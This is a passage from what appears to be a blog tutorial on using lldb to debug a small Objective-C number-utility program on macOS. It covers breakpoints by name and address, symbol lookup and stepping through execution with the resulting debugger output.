<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Returning the value
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] The nearest square to <span class="hljs-number">144</span> is <span class="hljs-number">144</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Looking for perfect squares
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] The nearest square is the lowest one
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Returning the value
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] The nearest square to <span class="hljs-number">20</span> is <span class="hljs-number">16</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Looking for perfect squares
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] The nearest square is the highest one
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Returning the value
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] The nearest square to <span class="hljs-number">73</span> is <span class="hljs-number">81</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking primality
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">775</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] <span class="hljs-number">73</span> is prime
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">776</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Checking primality
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">776</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] <span class="hljs-number">155</span> is not prime
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">776</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] INITIALISING RANDOMNESS
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">776</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] GENERATING RANDOM NUMBER
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">30</span> <span class="hljs-number">10</span>:<span class="hljs-number">40</span>:<span class="hljs-number">42</span>.<span class="hljs-number">776</span> myNumberExtended[<span class="hljs-number">97845</span>:<span class="hljs-number">5242525</span>] Generated number: <span class="hljs-number">58</span>
</code></pre><p>We attach <code>lldb</code> to a program simply by launching <code>lldb myNumberExtended</code>. Easy as π. </p>
<h2 id="heading-working-with-breakpoints">Working with breakpoints</h2>
<p>The very first thing I used to do in GDB was to set a breakpoint for the <code>main</code> routine - if I emulate this here, I obtain: </p>
<pre><code>(lldb) target create <span class="hljs-string">"myNumberExtended"</span>
Current executable set to <span class="hljs-string">'/Users/gbiondo/EXP312/Debugging/myNumberExtended'</span> (x86_64).
(lldb) breakpoint set <span class="hljs-operator">-</span>name main
Breakpoint <span class="hljs-number">1</span>: <span class="hljs-number">10</span> locations.
(lldb) breakpoint list 
Current breakpoints:
<span class="hljs-number">1</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'main'</span>, locations <span class="hljs-operator">=</span> <span class="hljs-number">10</span>
  <span class="hljs-number">1.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`main, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> myNumberExtended[<span class="hljs-number">0x00000001000039f0</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.2</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[NSBlockOperation main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff801229338</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.3</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[NSThread main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff8012403c5</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.4</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[NSFilesystemItemRemoveOperation main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff801240eef</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.5</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[NSInvocationOperation main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff80125580b</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.6</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[NSOperation main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff801256098</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.7</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[NSFilesystemItemMoveOperation main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff8012955b7</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.8</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[NSDirectoryTraversalOperation main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff8012d9492</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.9</span>: where <span class="hljs-operator">=</span> Foundation`<span class="hljs-operator">-</span>[_NSBarrierOperation main], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Foundation[<span class="hljs-number">0x00007ff8013a6e9c</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 
  <span class="hljs-number">1.10</span>: where <span class="hljs-operator">=</span> Security`Security::OSXCode::main(), <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> Security[<span class="hljs-number">0x00007ff802617780</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
</code></pre><p>Ten different locations for a breakpoint are not what I want. Let's delete them and find a better approach. Here it seems there's no "dot notation", but "tick notation", hence I proceed as follows:</p>
<pre><code>(lldb) breakpoint <span class="hljs-keyword">delete</span> 
About <span class="hljs-keyword">to</span> <span class="hljs-keyword">delete</span> <span class="hljs-keyword">all</span> breakpoints, <span class="hljs-keyword">do</span> you want <span class="hljs-keyword">to</span> <span class="hljs-keyword">do</span> that?: [Y/n] 
<span class="hljs-keyword">All</span> breakpoints removed. (<span class="hljs-number">1</span> breakpoint)
(lldb) breakpoint <span class="hljs-keyword">set</span> myNumberExtended`main
error: invalid combination <span class="hljs-keyword">of</span> <span class="hljs-keyword">options</span> <span class="hljs-keyword">for</span> the given command
</code></pre><p>This looks odd, at a first glance: if i use the breakpoint command, I receive an error. I googled a little bit to find the solution - here one needs to use the <code>_regexp-break</code> command:</p>
<pre><code>(lldb) help _regexp<span class="hljs-operator">-</span><span class="hljs-keyword">break</span>
Set a breakpoint <span class="hljs-keyword">using</span> <span class="hljs-title">one</span> <span class="hljs-title">of</span> <span class="hljs-title">several</span> <span class="hljs-title">shorthand</span> <span class="hljs-title">formats</span>.  <span class="hljs-title">Expects</span> '<span class="hljs-title">raw</span>' <span class="hljs-title">input</span> (<span class="hljs-title">see</span> '<span class="hljs-title">help</span> <span class="hljs-title">raw</span><span class="hljs-operator">-</span><span class="hljs-title">input</span>'.)

<span class="hljs-title">Syntax</span>: 
<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-operator">&lt;</span><span class="hljs-title">filename</span><span class="hljs-operator">&gt;</span>:<span class="hljs-operator">&lt;</span><span class="hljs-title">linenum</span><span class="hljs-operator">&gt;</span>:<span class="hljs-operator">&lt;</span><span class="hljs-title">colnum</span><span class="hljs-operator">&gt;</span>
              <span class="hljs-title">main</span>.<span class="hljs-title">c</span>:12:21          <span class="hljs-comment">// Break at line 12 and column 21 of main.c</span>

<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-operator">&lt;</span><span class="hljs-title">filename</span><span class="hljs-operator">&gt;</span>:<span class="hljs-operator">&lt;</span><span class="hljs-title">linenum</span><span class="hljs-operator">&gt;</span>
              <span class="hljs-title">main</span>.<span class="hljs-title">c</span>:12             <span class="hljs-comment">// Break at line 12 of main.c</span>

<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-operator">&lt;</span><span class="hljs-title">linenum</span><span class="hljs-operator">&gt;</span>
              12                    <span class="hljs-comment">// Break at line 12 of current file</span>

<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> 0<span class="hljs-title">x</span><span class="hljs-operator">&lt;</span><span class="hljs-title"><span class="hljs-keyword">address</span></span><span class="hljs-operator">&gt;</span>
              0<span class="hljs-title">x1234000</span>             <span class="hljs-comment">// Break at address 0x1234000</span>

<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-operator">&lt;</span><span class="hljs-title">name</span><span class="hljs-operator">&gt;</span>
              <span class="hljs-title">main</span>                  <span class="hljs-comment">// Break in 'main' after the prologue</span>

<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&lt;</span><span class="hljs-title">name</span><span class="hljs-operator">&gt;</span>
              <span class="hljs-operator">&amp;</span><span class="hljs-title">main</span>                 <span class="hljs-comment">// Break at first instruction in 'main'</span>

<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-operator">&lt;</span><span class="hljs-title">module</span><span class="hljs-operator">&gt;</span>`<span class="hljs-operator">&lt;</span><span class="hljs-title">name</span><span class="hljs-operator">&gt;</span>
              <span class="hljs-title">libc</span>.<span class="hljs-title">so</span>`<span class="hljs-title">malloc</span>        <span class="hljs-comment">// Break in 'malloc' from 'libc.so'</span>

<span class="hljs-title">_regexp</span><span class="hljs-operator">-</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-operator">/</span><span class="hljs-operator">&lt;</span><span class="hljs-title">source</span><span class="hljs-operator">-</span><span class="hljs-title">regex</span><span class="hljs-operator">&gt;</span><span class="hljs-operator">/</span>
              <span class="hljs-operator">/</span><span class="hljs-title"><span class="hljs-keyword">break</span></span> <span class="hljs-title">here</span><span class="hljs-operator">/</span>          <span class="hljs-comment">// Break on source lines in current file</span>
                                    <span class="hljs-comment">// containing text 'break here'.</span>
</code></pre><p>The command is shortened with the letter <code>b</code>. Now we can do:</p>
<pre><code>(lldb) b myNumberExtended`main
Breakpoint <span class="hljs-number">2</span>: where <span class="hljs-operator">=</span> myNumberExtended`main, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000039f0</span>
</code></pre><p>So far, so good. Let's execute it and see what happens:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">r</span>
<span class="hljs-attr">Process 69433 launched:</span> <span class="hljs-string">'/Users/gbiondo/EXP312/Debugging/myNumberExtended'</span> <span class="hljs-string">(x86_64)</span>
<span class="hljs-string">Process</span> <span class="hljs-number">69433</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x00000001000039f0 myNumberExtended`main</span>
<span class="hljs-string">myNumberExtended`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x1000039f0</span> <span class="hljs-string">&lt;+0&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rbp</span>
    <span class="hljs-number">0x1000039f1</span> <span class="hljs-string">&lt;+1&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rbp,</span> <span class="hljs-string">rsp</span>
    <span class="hljs-number">0x1000039f4</span> <span class="hljs-string">&lt;+4&gt;:</span> <span class="hljs-string">sub</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">0x50</span>
    <span class="hljs-number">0x1000039f8</span> <span class="hljs-string">&lt;+8&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x4</span>]<span class="hljs-string">,</span> <span class="hljs-number">0x0</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
</code></pre><p>The breakpoint has been hit. Now it would be good to set breakpoints for other subroutines. I recently discovered this page (<a target="_blank" href="https://lldb.llvm.org/use/map.html">GDB to LLDB command map</a>) that maps GDB commands to LLDB - saving me big headaches. There i find this shortcut:</p>
<pre><code>This one finds debug symbols:
(lldb) image lookup <span class="hljs-operator">-</span>r <span class="hljs-operator">-</span>n <span class="hljs-operator">&lt;</span>FUNC_REGEX<span class="hljs-operator">&gt;</span>

This one finds non<span class="hljs-operator">-</span>debug symbols:
(lldb) image lookup <span class="hljs-operator">-</span>r <span class="hljs-operator">-</span>s <span class="hljs-operator">&lt;</span>FUNC_REGEX<span class="hljs-operator">&gt;</span>
</code></pre><p>so I work as follows:</p>
<pre><code>(lldb) image lookup <span class="hljs-operator">-</span>r <span class="hljs-operator">-</span>n randomInit
<span class="hljs-number">1</span> match found in <span class="hljs-operator">/</span>Users<span class="hljs-operator">/</span>gbiondo<span class="hljs-operator">/</span>EXP312<span class="hljs-operator">/</span>Debugging<span class="hljs-operator">/</span>myNumberExtended:
        Address: myNumberExtended[<span class="hljs-number">0x0000000100003680</span>] (myNumberExtended.__TEXT.__text <span class="hljs-operator">+</span> <span class="hljs-number">0</span>)
        Summary: myNumberExtended`<span class="hljs-operator">-</span>[myNumber randomInit]
(lldb) image lookup <span class="hljs-operator">-</span>r <span class="hljs-operator">-</span>n isPerfectSquare
<span class="hljs-number">1</span> match found in <span class="hljs-operator">/</span>Users<span class="hljs-operator">/</span>gbiondo<span class="hljs-operator">/</span>EXP312<span class="hljs-operator">/</span>Debugging<span class="hljs-operator">/</span>myNumberExtended:
        Address: myNumberExtended[<span class="hljs-number">0x0000000100003710</span>] (myNumberExtended.__TEXT.__text <span class="hljs-operator">+</span> <span class="hljs-number">144</span>)
        Summary: myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPerfectSquare]
(lldb) image lookup <span class="hljs-operator">-</span>r <span class="hljs-operator">-</span>n nearestPerfectSquare
<span class="hljs-number">1</span> match found in <span class="hljs-operator">/</span>Users<span class="hljs-operator">/</span>gbiondo<span class="hljs-operator">/</span>EXP312<span class="hljs-operator">/</span>Debugging<span class="hljs-operator">/</span>myNumberExtended:
        Address: myNumberExtended[<span class="hljs-number">0x00000001000037a0</span>] (myNumberExtended.__TEXT.__text <span class="hljs-operator">+</span> <span class="hljs-number">288</span>)
        Summary: myNumberExtended`<span class="hljs-operator">-</span>[myNumber nearestPerfectSquare]
(lldb) image lookup <span class="hljs-operator">-</span>r <span class="hljs-operator">-</span>n isPrime
<span class="hljs-number">1</span> match found in <span class="hljs-operator">/</span>Users<span class="hljs-operator">/</span>gbiondo<span class="hljs-operator">/</span>EXP312<span class="hljs-operator">/</span>Debugging<span class="hljs-operator">/</span>myNumberExtended:
        Address: myNumberExtended[<span class="hljs-number">0x00000001000038e0</span>] (myNumberExtended.__TEXT.__text <span class="hljs-operator">+</span> <span class="hljs-number">608</span>)
        Summary: myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPrime]
</code></pre><p>Obviously I can add a breakpoint for <code>isPrime</code> as done before:</p>
<pre><code>(lldb) b myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPrime]
Breakpoint <span class="hljs-number">3</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPrime], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000038e0</span>
</code></pre><p>or i can set a breakpoint at a memory address (here I do it for <code>randomInit</code>):</p>
<pre><code>(lldb) breakpoint set <span class="hljs-operator">-</span>a <span class="hljs-number">0x0000000100003680</span>
Breakpoint <span class="hljs-number">4</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber randomInit], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003680</span>
</code></pre><p>choose your bane and go ahead with all remaining subroutines. At the end of the process you will end up with something like:</p>
<pre><code>(lldb) breakpoint list 
Current breakpoints:
<span class="hljs-number">2</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'main'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, resolved <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, hit count <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">2.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`main, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000039f0</span>, resolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">1</span> 

<span class="hljs-number">3</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'-[myNumber isPrime]'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">3.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPrime], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000038e0</span>, unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 

<span class="hljs-number">4</span>: <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> myNumberExtended[<span class="hljs-number">0x0000000100003680</span>], locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">4.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber randomInit], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003680</span>, unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 

<span class="hljs-number">5</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'-[myNumber isPerfectSquare]'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">5.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPerfectSquare], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003710</span>, unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 

<span class="hljs-number">6</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'-[myNumber nearestPerfectSquare]'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">6.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber nearestPerfectSquare], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000037a0</span>, unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
</code></pre><p>Note that the first execution of the program changed the status of the first breakpoint from <code>unresolved</code> to <code>resolved</code>, and the hit count has been incremented to <code>1</code>.</p>
<p>If we run the program now, it will stop at each subroutine. To continue just type <code>c</code> and hit return (or just hit return, if you already typed <code>c</code>-return once. The key return hit alone repeats the last command). You will see something like:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">r</span>
<span class="hljs-attr">Process 72978 launched:</span> <span class="hljs-string">'/Users/gbiondo/EXP312/Debugging/myNumberExtended'</span> <span class="hljs-string">(x86_64)</span>
<span class="hljs-string">Process</span> <span class="hljs-number">72978</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x00000001000039f0 myNumberExtended`main</span>
<span class="hljs-string">myNumberExtended`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x1000039f0</span> <span class="hljs-string">&lt;+0&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rbp</span>
    <span class="hljs-number">0x1000039f1</span> <span class="hljs-string">&lt;+1&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rbp,</span> <span class="hljs-string">rsp</span>
    <span class="hljs-number">0x1000039f4</span> <span class="hljs-string">&lt;+4&gt;:</span> <span class="hljs-string">sub</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">0x50</span>
    <span class="hljs-number">0x1000039f8</span> <span class="hljs-string">&lt;+8&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x4</span>]<span class="hljs-string">,</span> <span class="hljs-number">0x0</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>

<span class="hljs-string">(lldb)</span> <span class="hljs-string">c</span>
<span class="hljs-string">Process</span> <span class="hljs-number">72978</span> <span class="hljs-string">resuming</span>
<span class="hljs-string">Process</span> <span class="hljs-number">72978</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003710 myNumberExtended`-[myNumber isPerfectSquare]</span>
<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">isPerfectSquare]:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003710</span> <span class="hljs-string">&lt;+0&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rbp</span>
    <span class="hljs-number">0x100003711</span> <span class="hljs-string">&lt;+1&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rbp,</span> <span class="hljs-string">rsp</span>
    <span class="hljs-number">0x100003714</span> <span class="hljs-string">&lt;+4&gt;:</span> <span class="hljs-string">sub</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">0x30</span>
    <span class="hljs-number">0x100003718</span> <span class="hljs-string">&lt;+8&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rax,</span> <span class="hljs-string">rdi</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>

<span class="hljs-string">(lldb)</span> <span class="hljs-string">c</span>
<span class="hljs-string">Process</span> <span class="hljs-number">72978</span> <span class="hljs-string">resuming</span>
<span class="hljs-number">2022-03-29 13:57:12.271864</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[72978:4841122]</span> <span class="hljs-string">Checking</span> <span class="hljs-string">perfect</span> <span class="hljs-string">square</span>
<span class="hljs-number">2022-03-29 13:57:12.272346</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[72978:4841122]</span> <span class="hljs-number">144</span> <span class="hljs-string">is</span> <span class="hljs-string">a</span> <span class="hljs-string">perfect</span> <span class="hljs-string">square</span>
<span class="hljs-string">Process</span> <span class="hljs-number">72978</span> <span class="hljs-string">stopped</span>
</code></pre><p>I added some spaces to help reading the output, obtaining three blocks. The control flow enters the first block when invoking <code>main</code>, and when the <code>isPerfectSquare</code> routine gets invoked, the control flow passes to the second block. Once we hit <code>c</code>, the output is presented, the routine exits, and the control flow returns to <code>main</code>.</p>
<p>Here's the list of breakpoints of the program:</p>
<pre><code>(lldb) breakpoint list 
Current breakpoints:
<span class="hljs-number">2</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'main'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, resolved <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, hit count <span class="hljs-operator">=</span> <span class="hljs-number">2</span>
  <span class="hljs-number">2.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`main, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000039f0</span>, resolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">2</span> 

<span class="hljs-number">3</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'-[myNumber isPrime]'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, resolved <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, hit count <span class="hljs-operator">=</span> <span class="hljs-number">2</span>
